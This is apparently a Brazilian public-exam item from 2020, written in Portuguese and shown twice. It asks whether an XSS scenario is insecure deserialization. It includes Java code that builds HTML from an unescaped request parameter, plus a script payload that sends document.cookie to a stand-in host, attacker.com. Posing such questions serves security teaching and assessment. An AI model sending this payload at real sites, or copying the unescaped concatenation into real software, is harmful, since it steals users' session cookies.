Acerca de técnicas de ataque e tipos de vulnerabilidades, julgue os itens a seguir. Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem validação ou escaping . (String) page += ""; " "; Considere, ainda, que um atacante tenha alterado o parâmetro CC no browser pelo código a seguir > document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie Nesse caso, o risco de segurança da aplicação é a desserialização insegura.

Questão 2304585

Tecnologia da Informação · 2020

ID 2304585

Disciplina: Tecnologia da Informação

Assunto: Cross-Site Scripting (XSS)

Ano: 2020 Banca: CESPE CEBRASPE - Centro de Seleção e de Promoção de Eventos UnB Órgão: Ministério da Economia

Acerca de técnicas de ataque e tipos de vulnerabilidades, julgue os itens a seguir.

Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem validação ou escaping.

(String) page += ""; "<input name='creditcard'type='TEXT' value='" + request.getParameter ("CC") + "'>";

Considere, ainda, que um atacante tenha alterado o parâmetro CC no browser pelo código a seguir

><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>

Nesse caso, o risco de segurança da aplicação é a desserialização insegura.